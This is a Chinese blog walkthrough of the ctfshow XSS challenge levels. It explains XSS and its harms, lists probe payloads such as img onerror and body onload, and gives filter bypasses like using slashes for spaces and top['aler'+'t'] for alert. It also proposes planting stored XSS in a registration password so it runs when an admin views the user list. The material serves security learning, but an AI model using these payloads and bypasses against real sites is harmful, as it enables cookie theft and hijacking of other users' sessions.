ctfshow——XSS

embedded/2024/9/25 2:31:29/

文章目录

  • XSS介绍
    • 什么是xss
    • XSS危害
    • XSS的分类
    • 常用XSSpayload
  • web316——反射型XSS
    • web317——过滤<script>
  • web318——过滤script、img
  • web319——不止过滤script、img
  • web320——过滤空格
  • web321——不止过滤空格
  • web322——不止过滤空格
  • web323
  • web324
  • web 325
  • web326——过滤alert
  • web327——存储型
  • web328——存储型

XSS介绍

xss_3">什么是xss

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 WEB 页面里插入恶意 HTML 代码,当用户浏览该页之时,嵌入其中 Web 里面的 HTML 代码会被执行,从而达到恶意攻击用户的特殊目的。

XSS危害

  • 通过document.cookie盗取cookie中的信息。
  • 使用jscss破坏页面正常的结构与样式。
  • 流量劫持(通过访问某段具有window.location.href定位到其他页面)。
  • dos攻击:利用合理的客户端请求来占用过多的服务器资源,从而使合法用户无法得到服务器响应。并且通过携带过程的 cookie信息可以使服务端返回400开头的状态码,从而拒绝合理的请求服务。
  • 利用 iframe、frame、XMLHttpRequest或上述 Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作,并且攻击者还可以利用 iframe,frame进一步的进行 CSRF 攻击。
  • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力。

XSS的分类

  • 反射型
    一般来说这种类型的XSS,需要攻击者提前构造一个恶意链接,来诱使客户点击,比如这样的一段链接:www.abc.com/?params=x
  • 存储型
    这种类型的XSS,危害比前一种大得多。比如一个攻击者在论坛的楼层中包含了一段JavaScript代码,并且服务器没有正确进行过滤输出,那就会造成浏览这个页面的用户执行这段JavaScript代码
  • DOM型
    这种类型则是利用非法输入来闭合对应的html标签

常用XSSpayload

<script>alert(1)</script>
<img src=1 onerror=alert(1)>
<image src=1 onerror=alert(1)>
<body onload=alert(1)> // 在页面加载完成后执行onload指定的函数
<svg onload=alert(1)> // 在SVG图像加载完成后执行onload指定的函数
<iframe/onload=alert(1)></iframe> // <iframe>标签是用于在网页中嵌入其他网页或文档的元素,onload事件是在<iframe>加载完成后触发的事件。
<body onload=“windows.open('https://www.baidu.com')> // 加载百度页面<body onload='console.log(1)'> // 控制台打印1
<body onload='console.info(1)'>
<body onload='console.error(1)'>绕过方法
过滤空格,用/、Tab(%09)或者/**/代替空格,如<body/onload=alert(1)>
过滤alert,用top['aler'+'t']绕过
过滤 alert(),用top['aler'+'t'].call 绕过

web316——反射型XSS

在框框中插入XSS语句<script>alert(1)</script>,弹框,说明存在反射型XSS。
在这里插入图片描述
也可以使用<body onload='console.error(1)'>
在这里插入图片描述

这里就不找XSS平台,拿flag了~

web317——过滤

img标签绕过过滤,<img src=1 onerror=alert(1)>或者<image src=1 onerror=alert(1)>
在这里插入图片描述

web318——过滤script、img

可以用<image src=1 onerror=alert(1)><body onload=alert(1)>
在这里插入图片描述

web319——不止过滤script、img

可以用<image src=1 onerror=alert(1)><body onload=alert(1)>

在这里插入图片描述

web320——过滤空格

这里不仅过滤了script等关键字,还过滤了空格。过滤空格的话,可以用/或者/**/代替空格,进行绕过。构造payload:<body/onload=alert(1)>

在这里插入图片描述

web321——不止过滤空格

这关不仅过滤了空格,但是也可以用<body/onload=alert(1)>判断这里存在XSS。
在这里插入图片描述

web322——不止过滤空格

<body/onload=alert(1)>可以判断这里存在XSS。
在这里插入图片描述

web323

<body/onload=alert(1)>,通杀
在这里插入图片描述

web324

<body/onload=alert(1)>,通杀
在这里插入图片描述

web 325

<body/onload=alert(1)>,通杀
在这里插入图片描述

web326——过滤alert

<body/onload=alert(1)>这次不行,换<body/onload=“windows.open('https://www.baidu.com')”>,会打开百度的页面,说明存在XSS漏洞。
在这里插入图片描述
其实,它是过滤了alert关键字,可以用top['aler'+'t']代替alert。payload:<body/onload=top['aler'+'t'](1)>
在这里插入图片描述

web327——存储型

这里<body/onload=alert(1)>可以提交,但是不能判断从页面判断是否存在存储型XSS。

web328——存储型

思路:就是在注册的时候,将XSS代码写到密码中,当管理员查看用户管理页面的时候,就会执行XSS代码。
这里也是不能从前端直接判断有没有XSS漏洞。
在这里插入图片描述

后面存储型就不做了,目前还不知道怎么打存储型XSS后,就能说明存在存储型XSS漏洞。


http://www.ppmy.cn/embedded/19226.html

相关文章

Spring Web MVC入门(2)——请求

目录 一、传递单个参数 基础类型和包装类型的区别 1、基础类型 &#xff08;1&#xff09;不传参 &#xff08;2&#xff09;传字符串 2、包装类型 &#xff08;1&#xff09;不传参 &#xff08;2&#xff09;传字符串 3、小结 二、传递多个参数 三、传递对象 四、…

Git命令查询

Git拥有众多命令&#xff0c;以下是一份更全面的Git命令列表&#xff1a; 配置与初始化 git config: 配置 Git 工具。git init: 初始化一个新的 Git 仓库。git clone: 克隆一个仓库到本地。 基本操作 git add: 将文件添加到暂存区。git status: 查看工作区、暂存区和本地仓库的…

C语言 逻辑运算符

本文 我们来说 逻辑运算符 有时做出决策需要测试多个条件&#xff0c;C语言提供了用于将简单条件组合成复杂条件的逻辑运算符。 逻辑运算符 如下图 用逻辑运算符连接操作数组成的表达式称为逻辑表达式。 逻辑运算的结果只有0和1 逻辑运算的对象可以是任意数值型&#xff0c;但…

OSI七层模型、TCP/IP五层模型理解(个人解读,如何理解网络模型)

OSI七层模型 七层模型&#xff0c;亦称OSI&#xff08;Open System Interconnection&#xff09;。参考模型是国际标准化组织&#xff08;ISO&#xff09;制定的一个用于计算机或通信系统间互联的标准体系&#xff0c;一般称为OSI参考模型或七层模型。它是一个七层的、抽象的模…

全量知识系统 程序详细设计 库模式的存储库模型: “三生”(派生衍生自生) (QA SmartChat)

Q1. 请仔细说说 派生和衍生 各自的意思以及关系 派生和衍生是两个近义词&#xff0c;但在语境不同的情况下有着不同的含义。 派生通常指从某种事物或概念中产生出新的东西或概念。它可以用来表示从一个基本的概念或原始的实体中推导或演化出来的新的思想、理论、产品或方法。…

kettle下载安装

下载方式&#xff1a; 1.官网下载 kettle下载链接&#xff1a; 老网站下载链接&#xff1a;https://sourceforge.net/projects/pentaho/files/这个网站已经弃用了 新网站地址获取方法&#xff1a;老网站下载链接打开&#xff0c;可以看到一个pdf下载链接&#xff0c;下载pdf 打…

vue3组件 描点定位以及监听滚动切换对应activeTab

描点定位以及监听滚动切换对应activeTab 基本逻辑 init 初始化 获取滚动区域内所有非文本子节点offsetTopArr 存储所有子节点的高度scroll 监听滚动的距离&#xff0c;找到还在可视区的元素高度 <template><div class"tab-list"><div v-for"i…

C++链表操作入门

数据结构基础&#xff1a;链表操作入门 数据结构基础&#xff1a;链表操作入门链表的基本概念链表的基本操作输出链表插入节点删除节点查找值 完整的链表操作示例结语 数据结构基础&#xff1a;链表操作入门 在计算机科学中&#xff0c;数据结构是组织和存储数据的方式&#x…